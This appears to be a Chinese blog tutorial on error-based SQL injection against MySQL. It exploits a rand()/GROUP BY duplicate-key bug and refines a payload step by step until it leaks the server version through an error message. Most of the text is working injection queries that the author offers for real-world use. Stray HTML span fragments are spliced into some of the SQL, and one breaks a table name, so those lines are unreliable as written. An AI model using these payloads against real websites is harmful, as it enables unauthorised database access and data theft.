网站MYSQL数据库高级爆错注入原分析

这里主要用了mysql的一个BUG ：http://bugs.mysql.com/bug.php?id=8652
grouping on certain parts of the result from rand, causes a duplicate key error.

重现过程:
SQL Code复制内容到剪贴板

于是便可以这样拿来爆错注入了。

复制代码代码如下:
select count(*),concat((select version()),left(rand(),3))x from inform span style="line-height:1.5;" ation_schema.tables group by x; /span

尝试拿来实战

复制代码代码如下:
select * from user where user='root' and (select count(*),concat((select version()),left(rand(),3))x from information_schema.tables group by x);

提示错误选择的列应该为一个。那幺。我们换一下

复制代码代码如下:
select * from user where user='root' and (select 1 from (select count(*),concat((select version()),left(rand(),3))x from information_schema.tables group by x)); span style="font-family:'sans serif', tahoma, verdana, helvetica;font-size:12px;line-height:1.5;" /span

复制代码代码如下:
1248 (42000): Every derived table must have its own alias

提示多表查询要有别名那好办

复制代码代码如下:
select * from user where user='root' and (select 1 from (select count(*),concat((select version()),left(rand(),3))x from information_schema.tables group by x)a);

或者

复制代码代码如下:
select * from user where user='root' and (select 1 from (select count(*),concat((select version()),left(rand(),3))x from information_schema.tables group by x) as lusiyu);

成功爆粗注入了.

作者：小残绳命不息 |折腾不止

网站MYSQL数据库高级爆错注入原分析